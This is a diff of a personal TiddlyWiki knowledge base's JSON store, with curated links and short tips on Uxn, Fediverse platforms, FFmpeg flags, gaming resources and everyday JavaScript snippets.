+{"title":"Fantasy computer","created":"20240119005148701","creator":"Octt","modified":"20240119010619538","modifier":"Octt","tags":"","text":"* //''[[Uxn/Varvara ecosystem|https://100r.co/site/uxn.html]]'' is a personal computing stack based on a small virtual machine that lies at the heart of our software, and that allows us to run the same application on a variety of systems.//\n** //''[[Uxn|https://wiki.xxiivv.com/site/uxn.html]]'' is a virtual stack-machine designed to host the Hundred Rabbits projects.//\n** [[Awesome Uxn Awesome|https://github.com/hundredrabbits/awesome-uxn#emulators]] --- //Curated list of awesome Uxn projects from the community.//\n** [[learn-uxn|https://metasyn.srht.site/learn-uxn/]] by trying and editing code in the browser\n\n!! Fantasy console\n\n\u003C\u003C^wikipediaframe \"Fantasy console\">>"},
{"title":"Fediverse","created":"20230114124144464","creator":"Octt","icon":"","modified":"20231223123321502","modifier":"Octt","tags":"[[Social network]]","text":"\u003C!-- \u003C\u003CMediaWiki Fediverse en 1 Fediverse_logo_proposal.svg>> -->\n\u003C\u003C^wikipediaframe Fediverse en>>\n\n!! ''List of Platforms''\n\nTip: these sites list many public instances for many platforms.\n\n* [[Fediverse.Party|https://fediverse.party]] --- \u003C\u003C#[ Git \"https://codeberg.org/fediverse/fediparty\">>\n* [[Fediverse Observer|https://fediverse.observer]]\n* [[Fediverse Explorer (h4kor)|https://h4kor.github.io/fediverse-explorer/]] --- Graph view of instances\n\n!!! ''Media''\n\n* [[PeerTube|PeerTube:en]] - Video sharing\n* [[Pixelfed|Pixelfed:en]] - Image sharing\n\n!!! ''Microblogging''\n\n* [[GoToSocial|https://gotosocial.org]] - //Fast, fun, ActivityPub server, powered by Go//\n* [[Mastodon|Mastodon]] | [[Hometown|https://github.com/hometown-fork/hometown]] | [[glitch-soc|https://github.com/glitch-soc]]\n* [[Misskey|Misskey]] | [[Dolphin|https://github.com/syuilo/dolphin]]\n* [[Pleroma|https://pleroma.social]] | [[Akkoma|https://akkoma.social]] | [[Soapbox|https://soapbox.pub]]\n* [[Takahฤ|https://jointakahe.org]] - //An efficient ActivityPub Server, for small installs with multiple domains//\n\n!!! ''Other''\n\n* [[Epicyon|https://epicyon.net]] [[[Git|https://gitlab.com/bashrc2/epicyon]]] - //Designed for simplicity and accessibility, includes calendar, news and sharing economy features//\n* [[Friendica|Friendica]]\n* [[Lemmy|Lemmy:en]] [[[Git|https://github.com/ernestwisniewski/kbin]], [[Dev Instance|https://dev.karab.in]]] - //๐ A link aggregator and forum for the fediverse//\n* [[/kbin|https://kbin.pub]] - //Fediverse of content//\n\n!!! ''Coming Soon''\n\n* [[Goldfish Social|https://github.com/Goldfish-Social/Goldfish]]\n\n\n!! ''Posts and Users''\n\n* [[Fediverse Explorer (stefanbohacek)|https://stefanbohacek.com/project/fediverse-explorer/]] --- //Browse most recent public posts across the fediverse by hashtag//\n* [[fediverse.info|https://fediverse.info/]] --- Directory of suggested profiles\n\n\n!! ''Other''\n\n* [[Soapbox|https://soapbox.pub/]] --- //A social media frontend with a focus on custom branding and ease of use.// (+ other things) --- \u003C\u003C[# Git\"https://gitlab.com/soapbox-pub\">>\n* [[Mangan App|https://manganapp.vercel.app]] --- //Fork of Mangane, fork Soapbox, fork of Mastodon UI//, with support for login into any instance --- \u003C\u003C[# Git\"https://github.com/sjbat/mangan\">>\n\n* [[Fediverse Enhancement Proposals|https://codeberg.org/fediverse/fep]]\n* [[MaPlefeed|https://maplefeed.bihlink.com/]] --- //Mastodon & Pleroma Feed generator// --- \u003C\u003C[# Git\"https://github.com/bihlink/maplefeed\">>\n\n"},
{"title":"FFmpeg","created":"20231210222318699","creator":"Octt","modified":"20231210222659341","modifier":"Octt","text":"\u003C\u003C^wikipediaframe FFmpeg>>\n\n* [[ffmpeg.wasm|https://ffmpegwasm.netlify.app/]] --- //FFmpeg for browser, powered by WebAssembly// --- \u003C\u003C[# Git\"https://github.com/ffmpegwasm\">>\n** [[ffmpeg-web|https://ffmpeg-web.netlify.app/]] --- //Web UI for ffmpeg-wasm: convert video, audio and images using the power of ffmpeg, directly from your browser// --- \u003C\u003C[# Git\"https://github.com/dinoosauro/ffmpeg-web\">>"},
{"title":"FFmpeg/Snippets","created":"20221008141221923","creator":"Octt","modified":"20231112232329809","modifier":"Octt","tags":"Snippets $:/i18n:en","text":"!! Flags\n\n* Specify an input file: `-i ${File}`\n* Framerate: `-r ${r}`, `-framerate ${r}` (//use both because one sometimes doesn't work//) ([[other ways|https://stackoverflow.com/questions/45462731/using-ffmpeg-to-change-framerate#45465730]])\n\n\n!!! Filter Flags\n\n//These are specified by prefixing an argument://\n\n* Audio: `-filter:a` or `-af`\n* Video: `-filter:v` or `-vf`\n\n!!!! Audio Filters\n\n* Volume: `volume=`\n** `ยฑ{n}dB`: Adding or Subtracting to absolute value in dB\n** `{%/100}`: Target percentage divided by 100 (e.g: //150% -> 1.5//)\n\n* Detecting volume details: `volumedetect -f null /dev/null` (just prints to console)\n\n!!!! Video Filters\n\n* Scaling: `scale=${w}:${h}`\n* [[Cropping|https://video.stackexchange.com/questions/4563/how-can-i-crop-a-video-with-ffmpeg]]: `crop=${w}:${h}:${x}:${y}`\n\n\n!!! Audio/Video Flags\n\n//These are specified as `-flag:a` or `-flag:v`.//\n\n* Bitrate: `-b:{a|v} ${n}{k|m|...}`\n* Codec: `-c:{a|v} ${codec}`\n\n!!!! Audio Flags\n\n* Audio channels: `-ac ${n}`\n\n\n!! Codecs List\n\n!!! Special\n\n* `copy`: Copy data stream without re-encoding (if supported by container)\n\n!!! Audio Codecs\n\n* `libopus`\n\n!!! Video Codecs\n\n* `h263`, `h264`, `libx265`\n* `libvpx-vp8`, `libvpx-vp9`\n* `libaom-av1`\n\n\n!! Tips\n\n* [[Trim Video|https://shotstack.io/learn/use-ffmpeg-to-trim-video]]\n* [[Image+Audio -> Video|https://superuser.com/questions/1041816/combine-one-image-one-audio-file-to-make-one-video-using-ffmpeg]]"},
@@ -1181,7 +1182,7 @@
{"title":"Game modding","created":"20230823100808184","creator":"Octt","modified":"20230823101557566","modifier":"Octt","tags":"","text":"\u003C\u003C^wikipediaframe \"Video game modding\">>\n\n* [[Valve Developer Union|https://valvedev.info]]"},
{"title":"Game save","created":"20230504095233944","creator":"Octt","modified":"20231001093833237","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamesave>>\n\n* [[3DS Save Bank|https://ds-save-bank.firebaseapp.com/]]\n"},
{"title":"Gamepad","created":"20230822234737434","creator":"Octt","icon":"๐ฎ","modified":"20231103235715411","modifier":"Octt","page-cover":"https://source.unsplash.com/random?Gamepad","tags":"Gaming","text":"\u003C\u003C^wikipediaframe Gamepad>>\n\n* [[The โpadhackingโ thread|https://archive.supercombo.gg/t/the-padhacking-thread/16708/1]]\n\n* [[Converting a wireless 360 controller to wired|https://gaming.stackexchange.com/questions/155459/converting-a-wireless-360-controller-to-wired]] --- Basically impossible, while the integrated MCU carries data via USB, it has a fake firmware that can't carry HID events... because actually the pad's port (proprietary USB fork really with 3 extra pins) has data pins. Who knows.\n"},
-{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240110010352237","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
+{"title":"Gaming","created":"20230116202756249","creator":"Octt","modified":"20240119001124100","modifier":"Octt","tags":"$:/i18n:en","text":"\u003C\u003C^wikipediaframe Video_game en>>\n\nSome games:\n\n* [[Dwarf Fortress|https://bay12games.com/dwarves]] --- very old game that recently got modernized, I like the original ASCII-graphics-based version (\"Classic\") which is also gratis\n* [[Rising Up|https://twitwi.itch.io/risingup]] --- //Climb the Corporate Ladder... with Your Fists!//\n* All other games I mentioned on this KB: \u003C\u003Ctag Game>>\n\nSome gaming resources:\n\n* [[Video Game History Foundation|https://gamehistory.org/]] --- //non-profit organization dedicated to preserving, celebrating, and teaching the history of video games//\n* [[The Cutting Room Floor|https://tcrf.net/]] is a site dedicated to unearthing and researching unused and cut content from video games\n\n* [[Video Game Music Preservation Foundation|https://www.vgmpf.com/Wiki/index.php]] --- //the Wikipedia of video game music!//\n* [[|https://vgmdb.net/]]\n\n* [[MobyGames Video Game Database|https://www.mobygames.com/]] --- //extremely ambitious project with the goal to meticulously catalog all relevant information about electronic games on a game-by-game basis//\n* [[The King of Grabs|https://thekingofgrabs.com/]] --- //Grabbing amazing video game screenshots one game at a time.//\n* [[VGMaps.com: The Video Game Atlas|https://www.vgmaps.com/]] --- //the largest source of screenshot maps on the Internet, with thousands of maps of your favourite video games!//\n* [[Bootleg Games Wiki|https://bootleggames.fandom.com/]] --- //Wiki dedicated to unlicensed and bootleg video games//\n\n* \u003C\u003ChttpsL Classic-Games.net>> --- //Your retro game headquarters//\n* [[RetroBreak|https://retrobreak.co.uk/]] --- //Celebrating Video Game History//\n* [[The Tech Game - Community|https://www.thetechgame.com/]] --- gaming news along with useful related downloads\n* [[GameTripper UK|https://www.gametripper.co.uk/]] --- //Reliving your gaming memories//\n\n* //''[[Hard Drive|https://hard-drive.net/]]'' is a very real video games news site that you should not question. Just absorb the information as truth and move on. JK itโs satire donโt ban us.//\n\n* [[Sala Museo Games|https://gamingshitposting.github.io/SalaMuseoGames]] --- //Where art is your new play// --- \u003C\u003C[# Git\"https://github.com/GamingShitposting/SalaMuseoGames\">>\n* [[GameSnacks|https://gamesnacks.com/]] --- //Play Bite-Sized HTML5 Games for Mobile and Desktop// --- mostly trashy games but some are decent, also there are no ads apparently?\n* [[Free Game Planet|https://www.freegameplanet.com/]] --- //All The Best Free Video Games With New Additions Every Day//\n** [[Alpha Beta Gamer|https://www.alphabetagamer.com/]] --- //Free Video Game Alpha & Beta Tests. The Worlds Biggest Beta Testing Site//\n\n* [[Attract Mode (Concept)|https://www.giantbomb.com/attract-mode/3015-1641/]] --- //A mode in which a game will play a gameplay demonstration video as a means to entice players into playing the game.//\n\n* \u003C\u003CYoutubeL ha_7cZxqhhE \"Nobody Knows I'm Gaming Right Now... Secretly Gaming in Public with [...] AR Glasses\">> --- a nice crazy idea for gaming everywhere in the most pick-up-and-play fashion\n"},
{"title":"Gaming console","created":"20231119004553704","creator":"Octt","modified":"20240110011644718","modifier":"Octt","tags":"Gaming","text":"\u003C\u003C^wikipediaframe \"Gaming console\">>\n\n* [[Console Protocols|https://sites.google.com/site/consoleprotocols/]] --- //site dedicated to the accurate documentation of protocols used to communicate with and inside of game consoles//\n* [[ConsoleMods.org|https://consolemods.org/wiki/Main_Page]] --- //collaborative community focused on collecting and preserving the ephemeral knowledge of console modifications, repairs, and restoration methods//\n\n* \u003C\u003CYoutubeL XrieCn9-9GU \"Can a $10 8-bit handheld game console be any good?\">> (Sup Famiclone)\n** \u003C\u003CYoutubeL ceI4CeIN1SQ \"Improving the $10 8-bit handheld game console\">> (better quality AV out)\n* \u003C\u003CYoutubeL N7q-tiiTN1Q \"SH108 - Hackeriamo un mini arcade\">>\n* [[Fun project -hack cheap handheld console- help with BGA NAND flash chip needed|https://www.eevblog.com/forum/beginners/fun-project-hack-cheap-handheld-console-help-with-bga-nand-flash-chip-needed/]]\n* [[Dissecting a hand-held NOAC console|https://hackaday.io/project/175322-dissecting-a-hand-held-noac-console]] --- //This is an attempt to understand how these little things work, and what we can do on it.//\n* \u003C\u003CRedditL r/SBCGaming/comments/t8k09f/is_there_any_conceivable_way_to_replace_the_roms/ \"Is there any conceivable way to replace the ROMs on 400-in-1 Handheld Console?\">>\n** [[teardown: e-mods rs-1 handheld|https://flawed.net.nz/2017/09/11/teardown-e-mods-rs-1-handheld-game/]]\n** [[ะัะบััััะฒะพ ะบัะพะนะบะธ ะธ ัะธััั ะธะปะธ ะฒะพะทะผะพะถะฝะพััั ะทะฐะผะตะฝะธัั ะธะณัั ะฒ ะฟะพััะฐัะธะฒะฝะพะน ะธะณัะพะฒะพะน ะบะพะฝัะพะปะธ SUP (The art of cutting and sewing or the ability to replace games in a portable SUP game console)|https://habr.com/ru/articles/718366/]]\n\n* [[V.R. Technology IC Design|https://www.vrt.com.tw/]] (official site with manuals, datasheets, and downloads)\n** [[VTxx|https://bootleggames.fandom.com/wiki/VTxx]]\n"},
{"title":"GBA","created":"20230216205342744","creator":"Octt","modified":"20230216205848009","modifier":"Octt","tags":"Nintendo Console Gaming","text":"\u003C\u003Cwikipediaframe GBA en>>\n\n!! ''Resources''\n\n* \u003C\u003CYoutubeL CCXlwI939is \"The Game Boy Advance Is Insanely Powerful Compared to the SNES\">>\n"},
{"title":"GIF","created":"20240107013040620","creator":"Octt","modified":"20240107013413537","modifier":"Octt","tags":"Image","text":"\u003C\u003C^WikipediaFrame \"GIF\">>\n\n* [[Gifski|https://gif.ski/]] -- //Highest-quality GIF encoder. GIF encoder based on libimagequant (pngquant). Squeezes maximum possible quality from the awful GIF format.// --- \u003C\u003C[# Git\"https://github.com/ImageOptim/gifski/\">>\n"},
@@ -1226,7 +1227,7 @@
{"title":"Issues of the Modern Web","created":"20230301080208442","creator":"Octt","modified":"20231107220850311","modifier":"Octt","tags":"Web Modern","text":"* ~~Just in, 2023/July:~~ [[Web Environment Integrity API Proposal|https://github.com/RupertBenWiser/Web-Environment-Integrity]] --- //[[This is scary. It's (strong) SafetyNet for websites [...]|https://mastodon.uno/@lina@vt.social/110755246339815796]]//\n** 2023/November update: [[Google bins integrity API that looked more than a bit like horrible DRM for websites|https://www.theregister.com/2023/11/02/google_abandons_web_environment_integrity/]]... but not completely: it will still be integrated into [[Android]] System Webview, for some reason\n* Reign of [[Surveillance Capitalism]].\n** Full of advertisements, and trackers.\n* Technically problematic:\n** Even simple text+images websites are full of megabytes of useless components.\n*** This wisdom tends to verify as more truthful the more you test it against websites of more big players, or entities that are on the web just for money.\n** Web Browsers are in themselves Operating Systems.\n*** Only [[The 3 Web Players]] can keep up with constantly evolving standards requiring corporate-level organization for development, and the risk for a [[Google]] monopoly is real.\n*** Every month or so each browser engine has a new critical vulnerability.\n* Has more noise than information:\n** Search engines are each day less effective, as pages/articles or full sites written to game SEO pop-up, sinking real information in noise - with entire industries dedicated to profiting this way.\n*** Real people who just want to create real content suffer the most.\n"},
{"title":"Italiano","created":"20220923052724501","icon":"$:/languages/it-IT/icon","modified":"20220923052724501"},
{"title":"Java","created":"20230211172153874","creator":"Octt","modified":"20231222121254624","modifier":"Octt","text":"\u003C\u003C^wikipediaframe \"Java (programming language)\" en>>\n\n* [[Java NullPointerException|https://www.digitalocean.com/community/tutorials/java-lang-nullpointerexception]]\n\n* [[Oracle Java Downloads Archive|https://www.oracle.com/java/technologies/downloads/archive/]] --- requires shitty account to download basically anything, but has everything\n* [[Install openjdk-6-jdk on Ubuntu/Xubuntu 16.04 |https://gist.github.com/bmaupin/ff99b0cc84dd3ad8c4600374f2473184]]\n"},
-{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240110011936700","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n\n* [[How to get text from all descendents of an element (disregarding scripts)?|https://stackoverflow.com/questions/2532043/how-to-get-text-from-all-descendents-of-an-element-disregarding-scripts]]\n* [[Converting HTML string into DOM elements?|https://stackoverflow.com/questions/3103962/converting-html-string-into-dom-elements#3104237]] --- `doc = new DOMParser().parseFromString(htmlString, 'text/html')`\n* [[set doctype using javascript|https://stackoverflow.com/questions/21523487/set-doctype-using-javascript]]\n* [[JavaScript Regex Replace Tutorial|https://www.javascripttutorial.net/javascript-regex/replace/]]\n* [[Insert an element after another DOM element with JavaScript|https://attacomsian.com/blog/javascript-insert-element-after]] --- //`target.parentNode.insertBefore(elem, target.nextSibling)\n`//\n\n* [[Send POST data using XMLHttpRequest|https://stackoverflow.com/questions/9713058/send-post-data-using-xmlhttprequest]]\n* [[fetch API [and comparison with XMLHttpRequest]|https://davidwalsh.name/fetch]]\n* [[How do I upload a file with the JS fetch API?|https://stackoverflow.com/questions/36067767/how-do-i-upload-a-file-with-the-js-fetch-api#comment98412965_36082038]] --- pass the `file` object to the body, do NOT set Content-Type header\n* [[How to Use Fetch with async/await|https://dmitripavlutin.com/javascript-fetch-async-await/]]\n\n* [[Array.prototype.splice()|https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice]], [[JavaScript Array splice() (W3S)|https://www.w3schools.com/jsref/jsref_splice.asp]] --- //changes the contents of an array by removing or replacing existing elements and/or adding new elements in place//, useful alternative for a nonexistant remove function, with `.splice(index, amountToRemove)`\n* \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/Array/concat \"Array.prototype.concat()\">> --- //used to merge two or more arrays, does not change the existing arrays but instead returns a new one//\n* [[XMLHttpRequest|https://www.w3schools.com/xml/xml_http.asp]]\n** \u003C\u003CMDNLink Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests \"Synchronous and asynchronous requests\">>\n* [[HTML DOM Events|https://www.w3schools.com/jsref/dom_obj_event.asp]]\n\n* \u003C\u003ChttpsL tixy.land>> --- //(t,i,x,y) => \"creative code golfing\"// --- \u003C\u003C[# Git\"https://github.com/aemkei/tixy\">>\n\n!!! ''Tools''\n\n* [[jsPerf|https://jsperf.app/]] - //online JavaScript performance benchmark// - \u003C\u003C[ \"[[Git|https://github.com/rd13/jsperf.app]]\">>\n** Old source code: [[v2|https://github.com/jsperf]], [[v1|https://github.com/mathiasbynens/jsperf.com]]\n* [[MeasureThat.net|https://www.measurethat.net/]] - //measure performance of JavaScript code// - \u003C\u003C[ \"[[Git|https://github.com/thecoderok/MeasureThat.net]]\">>\n\n* [[UglifyJS|https://lisperator.net/uglifyjs/]] - //JavaScript parser / mangler / compressor / beautifier// - \u003C\u003C[ \"[[Git|https://github.com/mishoo/UglifyJS]]\">>\n** \u003C\u003Clinkdescgit \"UglifyJS 3: Online JavaScript minifier\" \"https://skalman.github.io/UglifyJS-online/\" \"JavaScript minifier in the browser\" \"https://github.com/Skalman/UglifyJS-online\">>\n* \u003C\u003Clinkdescgit de4js \"https://lelinhtinh.github.io/de4js\" \"JavaScript Deobfuscator and Unpacker\" \"https://github.com/lelinhtinh/de4js\">>\n\n* [[aaencode demo|https://utf-8.jp/public/aaencode.html]] --- //Encode any JavaScript program to Japanese style emoticons (^_^)//\n* [[jjencode demo|https://utf-8.jp/public/jjencode.html]] --- encode JS using limited symbols\n"},
+{"title":"JavaScript","created":"20221110145611678","creator":"Octt","modified":"20240119004231712","modifier":"Octt","tags":"Development $:/i18n:en Web","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.\n\n\u003C\u003C^wikipediaframe JavaScript>>\n\n* [[Ecma International TC39|https://tc39.es/]] - Committee maintaining JS specifications\n\n* [[aem1k|https://aem1k.com/]] --- //JavaScript Hacks and Creative Coding Created by Martin Kleppe aka @aemkei.// --- \u003C\u003C[# Git\"https://github.com/aemkei/aemkei.github.io\">>\n\n!!! ''Resources''\n\n* [[The Modern JavaScript Tutorial (javascript.info)|https://javascript.info/]] --- //How it's done now. From the basics to advanced topics with simple, but detailed explanations.//\n* \u003C\u003ChttpsL JavaScriptTutorial.net>> --- //helps you learn JavaScript programming from scratch quickly and effectively//\n\n* //''[[JSFuck|https://jsfuck.com/]]'' is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.// --- \u003C\u003C[# Git+Guide \"https://github.com/aemkei/jsfuck\">>\n\n* [[Which equals operator (== vs ===) should be used in JavaScript comparisons?|https://stackoverflow.com/questions/359494/which-equals-operator-vs-should-be-used-in-javascript-comparisons]] (\"Good and bad twins\") --- `==` is bad unless explicitly needed, since it does type-coercion.\n** [[In theory === is faster, no type conversion takes place. Practically there's no performance difference.|https://stackoverflow.com/questions/12332855/which-javascript-equality-operator-or-is-faster]]\n** [[JavaScript-Equality-Table|https://dorey.github.io/JavaScript-Equality-Table/unified/]] - \u003C\u003C[ \"[[Git|https://github.com/dorey/JavaScript-Equality-Table]]\">>\n\n* [[Environment detection: node.js or browser|https://stackoverflow.com/a/57774317]]\n* [[Superpacking JS Demos|https://web.archive.org/web/20120919185414/http://daeken.com/superpacking-js-demos]]\n* [[\"Illegal invocation\" errors in JavaScript|https://mtsknn.fi/blog/illegal-invocations-in-js/]] --- //The error is thrown when calling a function whose `this` keyword isn't referring to the object where it originally did (when the context of the function is lost)//\n* [[Does JavaScript have a method like \"range()\" to generate a range within the supplied bounds?|https://stackoverflow.com/questions/3895478/does-javascript-have-a-method-like-range-to-generate-a-range-within-the-supp]] --- `[...Array(5).keys()]`\n* [[Listen for triple clicks in JavaScript|https://stackoverflow.com/questions/6480060/how-do-i-listen-for-triple-clicks-in-javascript#6480113]]\n* [[Fastest method to escape HTML tags as HTML entities?|https://stackoverflow.com/questions/5499078/fastest-method-to-escape-html-tags-as-html-entities]] --- in the browser, `(html) => { var escape = document.createElement('textarea'); escape.textContent = html; return escape.innerHTML; }`\n* [[Get a random item from a JavaScript array|https://stackoverflow.com/questions/5915096/get-a-random-item-from-a-javascript-array#5915122]] : [[Getting a random value from a JavaScript array|https://stackoverflow.com/questions/4550505/getting-a-random-value-from-a-javascript-array]] --- `item = items[Math.floor(Math.random() * items.length)];`\n* [[Simplest code for array intersection in javascript|https://stackoverflow.com/questions/1885557/simplest-code-for-array-intersection-in-javascript#1885569]] --- `arrayNew = array1.filter(value => array2.includes(value));`\n* [[Why is 'for (... in ...)' with arrays considered bad practice in JavaScript?|https://stackoverflow.com/questions/2265167/why-is-forvar-item-in-list-with-arrays-considered-bad-practice-in-javascript]] --- use `for (... of ...)` to iterate for values, the `in` form should only be used to iterate over indices\n* [[Why is extending native objects a bad practice?|https://stackoverflow.com/questions/14034180/why-is-extending-native-objects-a-bad-practice]] --- it breaks everything for some objects.\n** see [[https://eslint.org/docs/latest/rules/no-extend-native]]\n* [[What does ~~ (\"double tilde\") do in Javascript?|https://stackoverflow.com/questions/4055633/what-does-double-tilde-do-in-javascript]] ; [[What is the \"double tilde\" (~~) operator in JavaScript? [duplicate]|https://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript]] --- double NOT logical operator, useful shorter and faster alternative to `Math.floor` for small numbers\n* [[How to convert uint8 Array to base64 Encoded String?|https://stackoverflow.com/questions/12710001/how-to-convert-uint8-array-to-base64-encoded-string/66046176#66046176]]\n* [[What is the JavaScript version of sleep()?|https://stackoverflow.com/questions/951021/what-is-the-javascript-version-of-sleep#39914235]] --- `await new Promise(r => setTimeout(r, milliseconds));`\n* [[Convert letter to number in JavaScript|https://stackoverflow.com/questions/27877197/convert-letter-to-number-in-javascript]] (or parse a String that contains a number and happens to contain letters as a Number) --- \u003C\u003CMDNLink Web/JavaScript/Reference/Global_Objects/parseInt parseInt()>>\n\n* [[How to get text from all descendents of an element (disregarding 